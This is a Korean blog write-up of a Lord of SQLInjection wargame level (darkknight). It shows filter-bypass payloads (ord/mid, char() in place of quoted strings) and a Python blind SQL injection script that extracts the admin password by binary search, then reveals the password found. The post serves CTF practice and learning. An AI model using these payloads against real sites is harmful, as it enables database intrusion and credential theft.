Play/wargame

[LOS] Load of SQLInjection 12번 풀이

병뚜 2022. 10. 25. 14:25

아무리 봐도 pw보단 no에 넣는게 나을듯.

이유는 pw에 넣으려면 '로 닫아주던가 해야하는데.. 필터링임

그런데 no는 숫자가 들어가서 쿼터 필요없음.

 

?no=0 or 1 in (1)

> Hello guest

먹히는 것 확인. 이제 pw에 대해서 찾아볼건데.. 우리는 admin의 pw가 필요함.

싱글쿼터가 필터링됨을 항상 인지하자.

?no=0 or length(pw) in (8) 

> Hello guest가 나올 줄 알았는데 Hello admin 출력된다. 왜지

> 이유를 알 수 없다. 누구 아시는 분 댓글좀 주십쇼...

계속 풀어보자.

no에서 substr와 ascii가 필터링. 이를 대체할 다른 함수 사용

?no=0 or ord(mid(pw,1,1)) <64 해보니 Hello guest 출력.

admin이 필요함. 싱글쿼터 없이 admin 지정 방법

> id in (char(97,100,109,105,110))

> no=0 or id in (char(97,100,109,105,110)) and ord(mid(pw,1,1)) <64

이제 코드를 작성해보자.

 

import requests

url = "https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php"
cookie = {"PHPSESSID": "session"}

def pw_find():
    length = 8
    pw = ""
    for i in range(length):
        start_num = 1
        end_num = 127
        value = 64
        while True:
            param = {
                "no": "0 or id in (char(97,100,109,105,110)) and ord(mid(pw,{},1)) in ({})".format(
                    i + 1, value
                )
            }
            print(param)
            req = requests.get(url, params=param, cookies=cookie)
            if "Hello admin" in req.text:
                pw += chr(value)
                break
            else:
                param = {
                    "no": "0 or id in (char(97,100,109,105,110)) and ord(mid(pw,{},1)) > {}".format(
                        i + 1, value
                    )
                }
                req = requests.get(url, params=param, cookies=cookie)
                if "Hello admin" in req.text:
                    start_num = value
                    value = (value + end_num) // 2
                else:
                    end_num = value
                    value = (start_num + value) // 2
    print("password: ", pw)

pw_find()

회사에서 테스트 불가능.

손수 찾아봅시다.

 

49 99 54 50 98 97 54 102

>> 1c62ba6f

1
ㅇㅋ